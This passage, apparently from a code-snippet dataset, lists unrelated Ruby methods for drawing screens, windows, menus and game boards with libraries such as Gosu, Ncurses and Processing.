0x00, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]+12, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]+12, position[1]-17, color)\n\t \n\t line_len = i.hp * 24 / i.max_hp\n\t \n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0x00)\n\t if i.frozen\n\t color = Screen.handle.format.mapRGB(0x00, 0xff, 0xff)\n\t end\n\t @surface.draw_line(position[0]-12, position[1]-18, position[0]-12+line_len, position[1]-18, color)\n\t @surface.draw_line(position[0]-12, position[1]-17, position[0]-12+line_len, position[1]-17, color)\n\t end\n\t position[0] -= i.image_size[0]/2\n\t position[1] -= i.image_size[1]/2\n\t \n\t Image.draw(i.image, @surface, *position)\n\tend\n end", "def step\n # Draw everything\n @image.draw @screen\n end", "def hide\n call Screen.setColor(false)\n call draw\n end", "def draw\n @menu_background.draw\n @current_view.draw\n if @alert_view != nil\n @alert_view.draw\n end\n end", "def draw\n @screen.insert(@frame, 0, 0)\n @screen.draw(0, 0, 0)\n end", "def display\n stroke(0)\n stroke_weight(1)\n # Brightness is mapped to the accumulated action potential\n b = map1d(sum, (0..1), (255..0))\n fill(b)\n ellipse(location.x, location.y, r, r)\n # Size shrinks down back to original dimensions\n @r = lerp(r, 32, 0.1)\n end", "def draw(pv)\n if App::Settings.show_constellations\n # Get the in-view constellations\n in_view_constellation_names = []\n App::Settings.constellation_names.members.each do |con|\n con.cart_proj = pv * con.cart_world \n if con.cart_proj[0,0].between?(-1,1) && con.cart_proj[1,0].between?(-1,1) && con.cart_proj[2,0].between?(0,1)\n in_view_constellation_names << con\n end\n end\n\n # Draw in-view constellations\n win = App::WIN.window\n in_view_constellation_names.each do |con|\n xpos, ypos = con.screen_coords(win)\n if (xpos + (con.name).length / 2 + 1) > win.maxx\n win.setpos(ypos, win.maxx - (con.name).length - 1)\n else\n win.setpos(ypos,xpos)\n end\n win.addstr(con.name)\n end\n end\n end", "def create_skill_display_wtb\n w,h,g = 360, 53, Graphics\n @skill_disp_win = Window_BasicTextTB.new(g.width/2,0,w,h)\n @skill_disp_win.viewport = @viewport\n @skill_disp_win.no_skin\n @skill_disp_win.font_size = 20\n @skill_disp_win.hide\n end", "def display\n stroke_weight(2)\n stroke(0)\n fill(135, 206, 250)\n begin_shape\n vertex(width, 0) # extra vertices so we can fill sky\n surface.each do |v|\n vertex(v.x, v.y) # the mountain range\n end\n vertex(0, 0) # extra vertices so we can fill sky\n end_shape\n end", "def show_powerup_slots\n 10.times do |i|\n x = @scene.width * 0.01 + i * @scene.width * 0.07\n y = @scene.width * 0.01\n j = @scene.player.powerups[i] ? 1 : 0\n draw_powerup_slot(x, y, @powerups_imgs[i][j], img_color: Gosu::Color.rgba(255, 255, 255, 100))\n @numbers[i].draw(\n @scene.width * 0.025 + i * @scene.width * 0.07 , @scene.width * 0.015, @z,\n 1.0, 1.0, Gosu::Color::BLACK)\n end\n end", "def victory_screen\n system 'clear'\n 'GAME OVER'\n Catpix::print_image \"victory_screen.jpg\",\n :limit_x => 1.0,\n :limit_y => 0,\n :center_x => true,\n :center_y => true,\n :bg => \"white\",\n :bg_fill => true\n abort(\"See you next time.\".red)\nend", "def create_all_shared_acts_win\n h,w = Graphics.height, Graphics.width\n @all_shared_acts_win = Window_BasicTextTB.new(0,0,200,55)\n @all_shared_acts_win.viewport = @viewport\n \n @all_shared_acts_win.text = actions_left_txt_era\n @all_shared_acts_win.no_skin\n @all_shared_acts_win.font_size = 14\n @all_shared_acts_win.hide\n end", "def display\n fill(50, 200, 200, 150)\n stroke(50, 200, 200)\n stroke_weight(2)\n ellipse(x, y, 16, 16)\n end", "def setup_main_window\n main_window = Curses::Window.new(48, 60, 0, 0)\n main_window.attron(Curses.color_pair(8))\n main_window.box('|', '-')\n main_window.noutrefresh\n main_window\nend", "def main_window\r\n super\r\n # Make main command window\r\n main_command_window\r\n # Make play time window\r\n @playtime_window = Window_PlayTime.new\r\n @playtime_window.x = 0\r\n @playtime_window.y = 224\r\n # Make steps window\r\n @steps_window = Window_Steps.new\r\n @steps_window.x = 0\r\n @steps_window.y = 320\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 0\r\n @gold_window.y = 416\r\n # Make status window\r\n @status_window = Window_MenuStatus.new\r\n @status_window.x = 160\r\n @status_window.y = 0\r\n end", "def make_screen\n flags = [HWSURFACE, DOUBLEBUF] # FULLSCREEN will be added later\n @screen = Screen.open( [600, 900], 0, flags )\n @screen.title = \"Geotower for great good!\"\n end", "def draw(screen)\n darken_screen\n\n menu = current_menu\n menu.draw_cursor\n menu.highlight_mouse_selection if @game.input_controller.mouse_on_screen\n menu.headers.each do |header|\n @game.font_controller.draw_with_font(header.header_text, header.header_position.x, header.header_position.y, ZOrder.hud.value)\n end\n\n if menu.image_menu?\n menu.draw_images\n else\n if menu.positioned?\n menu.entries.each {|me| @game.font_controller.draw_with_font(me.formatted_display_text, me.position.x, me.position.y, ZOrder.hud.value )}\n else\n tmp = GVector.xy(0,0) #NOTE temporary vector allocation\n GVector.xy(menu.x_spacing, menu.y_spacing).scale(tmp, menu.menu_scale)\n @game.font_controller.draw_lines(tmp, menu.lines)\n end\n\n end\n end", "def setup\n\t\ttext_font create_font(\"SanSerif\",10);\n\t\tscreen = [1920,1040] #JackRabbit\n\t\t# product[1920,1040] = 1996800\n\n\t\t# screen = [1500,900] #HOME\n\t\t# product[1500,900] = 1350000\n\n\t\t@it = 0\n\n\t\tsize(*screen)\n\t\t@w,@h = screen.map{|d| d/2}\n\t\t@i, @t = [0] * 2 ; background(0)\n\t\t@colors = (0..3).map{|i|rand(255)}\n\t\tframe_rate 2.5 ; colorMode(HSB,360,100,100)\n\t\tno_fill() ; no_stroke ; @xy = [0,0]\n\t\t\t\n\t\tcl = VERTS.map{|c| rand(30) }\n\t\t@cc = VERTS.map{|r| [(20 + rand(@w)) * 1.9,\n\t\t\t\t\t\t\t\t\t\t\t\t (20 + rand(@h)) * 1.9] }.zip(cl)\n\tend", "def draw\n @font.draw(Const::SERVER_WAIT, @window.width / 5,\n @window.height / 2 - Const::GAME_WIN_GAP, 0)\n @font.draw(\"#{Const::SERVER_PORT}#{@port}\", @window.width / 3.5,\n @window.height / 2, 0)\n @title_image.draw(@img_x, @img_y, 1, @img_size_factor, @img_size_factor)\n end", "def draw\n # clear the terminal\n system(\"clear\")\n # draw the top rail\n puts '-' * self.length\n # draw each horse in it's own lane\n self.horses.each do |horse|\n # draw .......all the way up to the position of the horse\n print '.' * horse.position + horse.print\n puts\n # draw the bottom rail\n puts '-' * self.length\n end\n end", "def draw\n\t\t#\n\t\t# Draw the \"top\" line.\n\t\t#\n\t\tputs \" \" + \"_\" * (@width * 2 - 1)\n\t\n\t\t#\t\n\t\t# Draw each of the rows.\n\t\t#\n\t\t@height.times do |y|\n\t\t\tprint \"|\"\n\t\t\t@width.times do |x|\n\t\t\t\t# render \"bottom\" using \"S\" switch\n\t\t\t\tprint( (@grid[y][x] & @@S != 0) ? \" \" : \"_\" )\n\t\t\t\n\t\t\t\t# render \"side\" using \"E\" switch\t\n\t\t\t\tif @grid[y][x] & @@E != 0\n\t\t\t\t\tprint( ( ( @grid[y][x] | @grid[y][x+1] ) & @@S != 0 ) ? \" \" : \"_\" )\n\t\t\t\telse\n\t\t\t\t\tprint \"|\"\n\t\t\t\tend\n\t\t\tend\n\t\t\tputs\n\t\tend\n\n\t\t# \n\t\t# Output metadata\n\t\t#\n\t\tputs metadata\n\tend", "def draw_ss\n @ss.draw(@drawer) if @ss && @show_trapezoids\n end", "def draw\n Viewport.new.draw content, Size([0,0]), header, footer\n end", "def display\n system 'clear'\n @line_width = 60\n display_header\n display_board\n display_shield_row\n display_legend\n end", "def power_of_lens_screen\n @heading = 'Power of lens = 1 / focal length'\n background('images/waves_large.png')\n\n # Power of lens screen header\n ScreenHeader.new(self, '/title_screen/waves_screen', @@font, @heading)\n\n # Power of lens screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 640, :width => 80) do\n end\n # Content column\n stack(:height => 640, :width => 1000) do\n ScreenLabel.new(self, @@font, @heading, 'Focal length')\n flow do\n @focal_length = ScreenEditLine.new(self, @@font, @heading)\n @focal_length_unit = para(strong(' m'))\n @focal_length_unit.style(@@screen_unit_text_styles)\n end\n\n @calculate = button('Calculate')\n\n @result_display = flow\n\n @error_display = flow\n\n @calculate.click do\n @result_display.clear do\n @result = Joules.power_of_lens(@focal_length.text.to_f)\n @power_of_lens = para(@result.to_s)\n @power_of_lens_unit = para(' D')\n @power_of_lens.style(@@screen_result_text_styles)\n @power_of_lens_unit.style(@@screen_result_text_styles)\n end\n end\n end\n end\n end", "def draw(root)\n end", "def start\n\t\t\t@bars = [].freeze\n\n\t\t\tNcurses.initscr\n\t\t\tNcurses.curs_set(0)\n\t\t\tNcurses.start_color\n\n\t\t\t(0..7).each { |color_number| Ncurses.init_pair(color_number, color_number, Ncurses::COLOR_BLACK); }\n\n\t\t\t@bars_window = Ncurses::WINDOW.new(1, 0, Ncurses.LINES-1, 0)\n\t\t\t@log_window = Ncurses::WINDOW.new(Ncurses.LINES-1, 0, 0, 0)\n\t\t\t@log_window.scrollok(true)\n\n\t\t\ttrap(\"SIGWINCH\") do\n\t\t\t\tNcurses.endwin\n\t\t\t\tNcurses.refresh\n\n\t\t\t\trefresh_window_positions\n\n\t\t\t\t@bars.each do |bar|\n\t\t\t\t\tbar.width = @bars_window.getmaxx\n\t\t\t\t\tbar.show\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def draw\n\t\t# Complete the missing code\n\t\tdraw_background()\n\tend", "def density_screen\n @heading = 'Density'\n @heading_edited = @heading.downcase.gsub(/[,&]/,'').squeeze(' ').gsub(' ','_')\n background(\"images/#{@heading_edited}_large.png\")\n\n # Density screen header\n ScreenHeader.new(self, '/title_screen', @@font, @heading)\n\n # Density screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 640, :width => 80) do\n end\n # Content column\n stack(:height => 640, :width => 1000) do\n @formula_set =\n {'Density sub' => 'Density = mass / volume'}\n @formula_set.each do |name, formula|\n ScreenBox.new(self, @@theme_colour, @@font, @heading, formula, name)\n end\n end\n end\n end", "def draw_main_menu_presenter(window, state)\n # background\n window.draw_rect(0, 0, window.width, window.height, Gosu::Color.argb(DARK_GRAY_COLOR))\n\n # Game Title\n heading_font = Gosu::Font.new(80, options = {name: 'assets/fonts/hahmlet_font.ttf'})\n heading_width = heading_font.text_width(GAME_NAME.upcase)\n heading_font.draw_text(GAME_NAME.upcase, # Text\n (window.width - heading_width) / 2, # draw x\n 70, # draw y\n 1, # draw z\n 1, # scale x\n 1, # scale y\n Gosu::Color.argb(LIGHT_GREEN_COLOR)) # color\n\n\n # buttons\n draw_button(window, '?'.encode('utf-8'), state[:buttons][:how_to], MAIN_MENU_BUTTON_BORDER, 20)\n draw_button(window, 'Depth-first', state[:buttons][:depth_first], MAIN_MENU_BUTTON_BORDER, 25)\n draw_button(window, 'Iterative Division', state[:buttons][:iterative_division], MAIN_MENU_BUTTON_BORDER, 25)\n draw_button(window, 'Quit', state[:buttons][:quit], MAIN_MENU_BUTTON_BORDER, 25)\n\nend", "def draw\n # Draw background color\n Gosu.draw_rect(0, 0, WIN_WIDTH, WIN_HEIGHT, @background, ZOrder::BACKGROUND, mode=:default)\n # Draw the button\n Gosu.draw_rect(50, 50, 100, 50, Gosu::Color::GREEN, ZOrder::MIDDLE, mode=:default)\n # Draw the button text\n @button_font.draw(\"Click me\", 65, 65, ZOrder::TOP, 1.0, 1.0, Gosu::Color::BLACK)\n # Draw the mouse position information\n @info_font.draw(\"mouse_x: #{@locs[0]}\", 0, 350, ZOrder::TOP, 1.0, 1.0, Gosu::Color::BLACK)\n end", "def setup_screen\n rl = ResourceLocator.instance\n if rl.is_gem?('kuiper')\n rl.dirs << Gem.loaded_specs['kuiper'].full_gem_path\n end\n rl.dotfile=\".kuiper\"\n repository = Repository.new()\n rl.storage[:repository] = repository\n rl.storage[:visual_log] = [] # Distinct from the rl.logger; this is on-screen\n optpath = rl.dotpath_for(\"options.yml\")\n if File.exists?(optpath)\n options = Options.from_file(optpath)\n else\n options = Options.new(optpath)\n options.save\n end\n rl.storage[:options] = options\n w,h = options.screen_size\n screen = rl.screen( w, h, options.fullscreen )\n icon = rl.image_for(\"kuicon.png\",false,false)\n screen.icon = icon\n screen.title = \"Kuiper\"\n setup_joystick\n return screen\nend", "def initialize(x, y, width, height)\n super(x, y, width, height)\n x = 20\n sw = self.contents.width\n dw = sw*2/3 - x\n \n # Window Skins\n @cWindowSkinsLabel = CLabel.new(self, Rect.new(x, WLH/2, sw/3, WLH), \n Vocab::system_window_skin_label, 0, Font.bold_font)\n \n @cWindowSkinsOptions = []\n @cWindowSkinsOptions.push(CLabel.new(self, Rect.new(sw/3, WLH/2, dw/5, WLH), \n \"\", 1))\n @cWindowSkinsOptions.push(CLabel.new(self, Rect.new(sw/3+dw*1/5, WLH/2, dw/5, WLH), \n \"\", 1)) \n @cWindowSkinsOptions.push(CLabel.new(self, Rect.new(sw/3+dw*2/5, WLH/2, dw/5, WLH), \n \"\", 1)) \n @cWindowSkinsOptions.push(CLabel.new(self, Rect.new(sw/3+dw*3/5, WLH/2, dw/5, WLH), \n \"\", 1)) \n @cWindowSkinsOptions.push(CLabel.new(self, Rect.new(sw/3+dw*4/5, WLH/2, dw/5, WLH), \n \"\", 1)) \n \n # BGM Volume/BGM Mute\n @ucBGMVolume = UCVolumeControl.new(self, Rect.new(x, WLH*2+WLH/2, sw-x*2, WLH), Vocab::system_bgm_label,\n text_color(YE::SYSTEM::BGM_COLOUR1),\n text_color(YE::SYSTEM::BGM_COLOUR2),\n Color.gauge_back_color, 2, Color.volume_border_color)\n \n # Sound Volume/Sound Mute\n @ucSFXVolume = UCVolumeControl.new(self, Rect.new(x, WLH*4+WLH/2, sw-x*2, WLH), Vocab::system_sfx_label,\n text_color(YE::SYSTEM::SFX_COLOUR1),\n text_color(YE::SYSTEM::SFX_COLOUR2),\n Color.gauge_back_color, 2, Color.volume_border_color)\n \n # Ambience Volume/Ambience Mute\n @ucBGSVolume = UCVolumeControl.new(self, Rect.new(x, WLH*6+WLH/2, sw-x*2, WLH), Vocab::system_bgs_label,\n text_color(YE::SYSTEM::BGS_COLOUR1),\n text_color(YE::SYSTEM::BGS_COLOUR2),\n Color.gauge_back_color, 2, Color.volume_border_color)\n \n # Battle Animations\n @cBattleAnimLabel = CLabel.new(self, Rect.new(x, WLH*8, sw/3, WLH), \n Vocab::system_ani_label, 0, Font.bold_font)\n @cBattleAnimOptions = []\n @cBattleAnimOptions.push(CLabel.new(self, Rect.new(sw/3, WLH*8, dw/2, WLH), \n Vocab::system_ani_on_command, 1))\n @cBattleAnimOptions.push(CLabel.new(self, Rect.new(sw/3+dw*1/2, WLH*8, dw/2, WLH), \n Vocab::system_ani_off_command, 1))\n \n # Auto-Dash\n @cAutoDashLabel = CLabel.new(self, Rect.new(x, WLH*9, sw/3, WLH), \n Vocab::system_autodash_label, 0, Font.bold_font)\n @cAutoDashOptions = []\n @cAutoDashOptions.push(CLabel.new(self, Rect.new(sw/3, WLH*9, dw/2, WLH), \n Vocab::system_autodash_on_command, 1))\n @cAutoDashOptions.push(CLabel.new(self, Rect.new(sw/3+dw*1/2, WLH*9, dw/2, WLH), \n Vocab::system_autodash_off_command, 1))\n \n # Instant Text\n @cInstantTextLabel = CLabel.new(self, Rect.new(x, WLH*10, sw/3, WLH), \n Vocab::system_instanttext_label, 0, Font.bold_font)\n @cInstantTextOptions = []\n @cInstantTextOptions.push(CLabel.new(self, Rect.new(sw/3, WLH*10, dw/2, WLH), \n Vocab::system_instanttext_on_command, 1))\n @cInstantTextOptions.push(CLabel.new(self, Rect.new(sw/3+dw*1/2, WLH*10, dw/2, WLH), \n Vocab::system_instanttext_off_command, 1))\n \n # Difficulty\n @cDifficultyLabel = CLabel.new(self, Rect.new(x, WLH*11, sw/3, WLH), \n Vocab::system_difficulty_label, 0, Font.bold_font)\n @cDifficultyOptions = [] \n @cDifficultyOptions.push(CLabel.new(self, Rect.new(sw/3, WLH*11, dw/3, WLH), \n \"\", 1))\n @cDifficultyOptions.push(CLabel.new(self, Rect.new(sw/3+dw*1/3, WLH*11, dw/3, WLH), \n \"\", 1))\n @cDifficultyOptions.push(CLabel.new(self, Rect.new(sw/3+dw*2/3, WLH*11, dw/3, WLH), \n \"\", 1))\n \n # In-game Tutorials\n @cInGameTutoLabel = CLabel.new(self, Rect.new(x, WLH*12, sw-x, WLH), \n Vocab::system_tutorials_label, 0, Font.bold_font)\n if $game_system.outline_enable == nil ||\n $game_system.outline_enable.size == 0\n @cInGameTutoLabel.active = false\n end\n \n # Return to Title\n @cReturnTitleLabel = CLabel.new(self, Rect.new(x, WLH*13, sw-x, WLH), \n Vocab::system_totitle_label, 0, Font.bold_font)\n \n window_update()\n end", "def initialize(parent, skin = {})\n super(parent, :opts => LAYOUT_FILL)\n @mouse_down = false\n @cmds = []\n @cmd_time = nil\n @colors = { 'R' => 0xff0000ff,\n 'B' => 0xfff0000f,\n 'G' => 0xff00aa00,\n 'D' => 0xff000000 }\n @color = 'D'\n\n # We may want a 2-pixel border on the inside-top of this pane, otherwise\n # no borders.\n self.padLeft = self.padBottom = self.padRight = self.padTop = 0\n\n # Draw the top-level board\n frames = FXPacker.new(self, :opts => LAYOUT_FILL)\n\n # Buttons go on the right\n button_list = FXPacker.new(frames, :opts => LAYOUT_FILL_Y |\n LAYOUT_SIDE_RIGHT | LAYOUT_FIX_WIDTH, :width => BUTTON_WIDTH)\n button_clear = FXButton.new(button_list, \"Clear\", :opts => FRAME_RAISED |\n FRAME_THICK | LAYOUT_FILL_X | LAYOUT_SIDE_TOP)\n button_clear.connect(SEL_COMMAND) { clear_board }\n\n # Now draw the color buttons\n @colors.each do |c,v|\n button = FXButton.new(button_list, \" \", :opts => FRAME_RAISED |\n FRAME_THICK | LAYOUT_FILL_X | LAYOUT_SIDE_TOP)\n button.connect(SEL_COMMAND) { @color = c }\n button.backColor = v\n end\n\n # Exit button at the bottom all by itself\n button_bye = FXButton.new(button_list, \"Close\", :opts => FRAME_RAISED |\n FRAME_THICK | LAYOUT_FILL_X | LAYOUT_SIDE_BOTTOM)\n button_bye.connect(SEL_COMMAND) { @on_line_block.call('/leave') }\n\n # Drawing area goes on the left\n cframe = FXHorizontalFrame.new(frames, :opts => LAYOUT_FILL | FRAME_SUNKEN |\n FRAME_THICK | LAYOUT_SIDE_LEFT, :padLeft => 0, :padRight => 0,\n :padTop => 0, :padBottom => 0, :hSpacing => 0, :vSpacing => 0)\n @canvas = FXCanvas.new(cframe, :opts => LAYOUT_FILL)\n @canvas.connect(SEL_PAINT, method(:board_draw))\n @canvas.connect(SEL_LEFTBUTTONPRESS, method(:left_button_down))\n @canvas.connect(SEL_LEFTBUTTONRELEASE, method(:left_button_up))\n @canvas.connect(SEL_MOTION, method(:mouse_motion))\n\n # Backup of the canvas on which we're drawing\n @image = FXImage.new(app, :width => 1920, :height => 1080)\n @image.create\n FXDCWindow.new(@image) do |dc|\n dc.foreground = BACK_COLOR\n dc.fillRectangle(0, 0, 1920, 1080)\n end\n end", "def waves_screen\n @heading = 'Waves'\n @heading_edited = @heading.downcase.gsub(/[,&]/,'').squeeze(' ').gsub(' ','_')\n background(\"images/#{@heading_edited}_large.png\")\n\n # Waves screen header\n ScreenHeader.new(self, '/title_screen', @@font, @heading)\n\n # Waves screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 1150, :width => 80) do\n end\n # Content column\n stack(:height => 1150, :width => 1000) do\n @formula_set =\n {'Wave speed' => 'Wave speed = frequency x wavelength',\n 'Wavelength' => 'Wavelength = wave speed / frequency',\n 'Frequency v1' => 'Frequency = wave speed / wavelength',\n 'Frequency v2' => 'Frequency = 1 / time period',\n 'Time period v1' => 'Time period = 1 / frequency',\n 'Intensity' => 'Intensity = power / area',\n 'Refractive index v1' => 'Refractive index = sine(angle of incidence) / sine(angle of refraction)',\n 'Refractive index v2' => 'Refractive index = 1 / sine(critical angle)',\n 'Magnification' => 'Magnification = image height / object height',\n 'Focal length' => 'Focal length = 1 / ((1 / object_distance) + (1 / image_distance))',\n 'Power of lens' => 'Power of lens = 1 / focal length'}\n @formula_set.each do |name, formula|\n ScreenBox.new(self, @@theme_colour, @@font, @heading, formula, name)\n end\n end\n end\n end", "def draw(box)\n # Did we ask for a shadow?\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Should we box the matrix?\n if box\n Draw.drawObjBox(@win, self)\n end\n\n self.drawTitle(@win)\n\n @win.wrefresh\n\n self.drawEachColTitle\n self.drawEachRowTitle\n self.drawEachCell\n self.focusCurrent\n end", "def draw\n unless @track_result.nil?\n draw_play()\n end \n draw_btns()\n draw_stuff()\n draw_background()\n draw_albums(@albums)\n display_tracks()\n @info_font.draw(\"mouse_x: #{mouse_x}\", 200, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n @info_font.draw(\"mouse_y: #{mouse_y}\", 350, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n end", "def draw(screen)\n @clock.tick\n # Do we need to redraw the screen?\n do_redraw = Plugin.loader.background.changed?\n screen.drawlist.each { |widget| \n if widget.changed?\n do_redraw = true\n break\n end\n } if not do_redraw\n # Ok, redraw it\n if do_redraw\n glClear(GL_COLOR_BUFFER_BIT)\n screen.drawlist.each { |widget| \n widget.draw\n }\n self.redraw\n end\n end", "def mkWins\n\t\tfreerows=4\n\t\t@apPanel=BoxedWin.new(nil,Ncurses.LINES-freerows,Ncurses.COLS/2,0,0,ATTR_NORMAL)\n\t\t@apListBox=ListBox.new(@apPanel)\n\t\t@entryPanel=BoxedWin.new(nil,Ncurses.LINES-freerows,Ncurses.COLS-Ncurses.COLS/2,0,Ncurses.COLS/2,ATTR_NORMAL)\n\t\t@entryListBox=ListBox.new(@entryPanel)\n\t\t@entryListBox.showSelected(false)\n\t\t@statusRow=WINDOW.new(1,Ncurses.COLS,Ncurses.LINES-freerows,0)\n\t\t@statusRow.bkgd(ATTR_NORMAL); @statusRow.refresh\n\t\t@commandWin=BoxedWin.new(nil,freerows-1,Ncurses.COLS,Ncurses.LINES-freerows+1,0,ATTR_NORMAL)\n\t\t@active=@apListBox\n\n\t\t@apPanel.title( \"Available Accesspoints\", :LEFT );\n\tend", "def show!\n bind_set_draw_attention(true)\n show\n end", "def setup\n size 640, 360\n stroke_weight 10\n no_loop\nend", "def display\n no_fill\n stroke(127)\n fill(127)\n stroke_weight(1)\n rect_mode(Java::ProcessingCore::PConstants::CENTER)\n a = b.get_angle\n push_matrix\n translate(x, y)\n rotate(-a)\n rect(0, 0, w, h)\n pop_matrix\n end", "def create_bs_window\n @blacksmith_window = Window_ForgeBlacksmith.new(0, 0, Graphics.width - 160)\n end", "def setup \n size 640, 360 \n\tbackground 127 \n\tno_stroke\t\n\t(0...height).step(20) do |i|\n\t\tfill 0 \n\t\trect 0, i, width, 10 \n\t\tfill 255 \n\t\trect i, 0, 10, height \n\tend\nend", "def draw(box)\n # Draw the shadow.\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Box the widget if asked.\n if box\n Draw.drawObjBox(@win, self)\n end\n\n self.drawTitle(@win)\n\n # Draw the label.\n unless @label_win.nil?\n Draw.writeChtype(@label_win, 0, 0, @label, CDK::HORIZONTAL,\n 0, @label_len)\n @label_win.wrefresh\n end\n @win.wrefresh\n\n # Draw the field window.\n self.drawField\n end", "def setup_display\n gameboard.build_display\n build_white_side\n build_black_side\n end", "def paint_world\r\n show_sun\r\n\tputs ''\r\n count = 0\r\n @height.times do\r\n @width.times do\r\n print @positions[count].symbol\r\n count += 1\r\n end\r\n puts ''\r\n end\r\n puts '------------'\r\n end", "def draw(pv)\n # Get and draw in-view constellation lines\n win = App::WIN.window\n if App::Settings.show_constellations\n # Project all the line points into projection view\n # code\n @members.each do |con|\n new_proj_set = []\n con.cart_world_set.each do |line|\n new_proj_line = []\n line.each do |point|\n newpoint = pv * point\n new_proj_line << newpoint\n end\n new_proj_set << new_proj_line\n end\n con.cart_proj_set = new_proj_set\n end\n # Get all the lines containing points that are in the current screen\n # code\n on_screen_lines = []\n @members.each do |con|\n con.cart_proj_set.each do |line|\n line.each do |point|\n if point[0,0].between?(-1,1) && point[1,0].between?(-1,1) && point[2,0].between?(0,1)\n on_screen_lines << line\n end\n end\n end\n end\n on_screen_lines.uniq!\n # Draw lines between all those points and the previous and next points,\n # if they exist.\n # There's going to be a lot of duplication here, but it's small so clean\n # it up later.\n # Drop any points that have negative x and y values\n # code\n # Iterate through each line, calculate on-screen coords, then run those\n # through the Bresenham algorithm. Add all those points to another array,\n # dropping any that are negative x and y\n points_to_draw = []\n on_screen_lines.each do |line|\n line.each.with_index do |point, i|\n if line[i+1]\n x0, y0 = MyStarsConstellationLine.screen_coords(win,point) \n x1, y1 = MyStarsConstellationLine.screen_coords(win,line[i+1]) \n points_to_draw += Stars3D.create_points(x0,y0,x1,y1)\n end\n end \n end \n points_to_draw.uniq!\n points_to_draw.each do |point|\n if (point[:y].between?(0,win.maxy-1)) && (point[:x].between?(0,win.maxx-1))\n win.setpos(point[:y], point[:x])\n win.addstr(\"·\")\n end\n end\n end\n end", "def draw()\n draw_controls()\n end", "def draw\n end", "def draw\n end", "def draw\n end", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def draw\n\t\t\n\tend", "def setup\n \n\t# The size function is a statement that tells the computer \n\t# how large to make the window.\n\t# Each function statement has zero or more parameters. \n\t# Parameters are data passed into the function\n\t# and used as values for specifying what the computer will do.\n\tsize 640, 360\n\t\n\t# The background function is a statement that tells the computer\n\t# which color to make the background of the window \n\tbackground 102\n\t\nend", "def draw_guide_lines\n lines = []\n (0...@board_window.width).step(@scale*5) do |x|\n lines << TkcLine.new(@board_window, x, 0, x, @board_window.height, { width: 2, fill: \"#aaaaaa\" })\n end\n (0...@board_window.height).step(@scale*5) do |x|\n lines << TkcLine.new(@board_window, 0, x, @board_window.width, x, { width: 2, fill: \"#aaaaaa\" })\n end\n lines\n end", "def tensile_strain_screen\n @heading = 'Tensile strain = extension / length'\n background('images/stress_strain_large.png')\n\n # Tensile strain screen header\n ScreenHeader.new(self, '/title_screen/stress_strain_screen', @@font, @heading)\n\n # Tensile strain screen content\n flow(:height => 640, :width => 1080, :scroll => true) do\n # Left margin offset\n stack(:height => 640, :width => 80) do\n end\n # Content column\n stack(:height => 640, :width => 1000) do\n ScreenLabel.new(self, @@font, @heading, 'Extension')\n flow do\n @extension = ScreenEditLine.new(self, @@font, @heading)\n @extension_unit = para(strong(' m'))\n @extension_unit.style(@@screen_unit_text_styles)\n end\n\n ScreenLabel.new(self, @@font, @heading, 'Length')\n flow do\n @length = ScreenEditLine.new(self, @@font, @heading)\n @length_unit = para(strong(' m'))\n @length_unit.style(@@screen_unit_text_styles)\n end\n\n @calculate = button('Calculate')\n\n @result_display = flow\n\n @error_display = flow\n\n @calculate.click do\n @result_display.clear do\n @result = Joules.tensile_strain(@extension.text.to_f,\n @length.text.to_f)\n @tensile_strain = para(@result.to_s)\n @tensile_strain.style(@@screen_result_text_styles)\n end\n end\n end\n end\n end", "def draw_background(windowskin)\r\n self.contents.clear\r\n bitmap = RPGCache.windowskin(windowskin)\r\n self.contents.blt(0, 0, bitmap, bitmap.rect)\r\n end", "def draw\n game.window.scale(0.3,0.3,@x,@y){\n @gfx[@frame].draw_rot(@x,@y,Zorder::Effects,0)\n }\n end", "def draw\n print \" | |\\n\" \\\n \"#{board_line(0)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(1)}\\n\" \\\n \" | |\\n\" \\\n \"-----+-----+-----\\n\" \\\n \" | |\\n\" \\\n \"#{board_line(2)}\\n\" \\\n \" | |\\n\"\n end", "def draw\n @background_image.draw 0, 0, ZOrder::BACKGROUND\n case @game_settings.current_screen\n when \"start\"\n start_screen\n when \"levels\"\n levels_screen\n when \"gameover\"\n game_over_screen\n when \"game\"\n @deck.deal_cards! @playing_cards\n\n if @game_settings.is_cpu_player_enabled\n @subtitle_font.draw_text \"Computer:\", 645, 215, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n @subtitle_font.draw_text \"Score : #{@computer_signal.score}\", 645, 245, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n\n # Computer messages\n if @true_mes\n @subtitle_font.draw_text \"I found a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @computer_signal.score > @p1.score\n @subtitle_font.draw_text \"#{@computer_signal.mean_msg}\", 645, 305, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n end\n end\n\n @subtitle_font.draw_text \"Still trying!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @trying_mes\n\n @subtitle_font.draw_text \"Oops not a set!\", 645, 275, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK if @false_mes\n\n # Creates players if need be.\n if !@players_created\n @p1 = Player.new 1 if @game_settings.p1_init\n @p2 = Player.new 2 if @game_settings.p2_init\n @players_created = true\n end\n\n Gosu.draw_rect 640,0,280,480,Gosu::Color::GRAY,ZOrder::UI\n\n @subtitle_font.draw_text \"Player 1 Statistics:\", 645, 0, ZOrder::TEXT, 1.0, 1.0, Gosu::Color::BLACK\n if @p1.set_times.length > 0\n 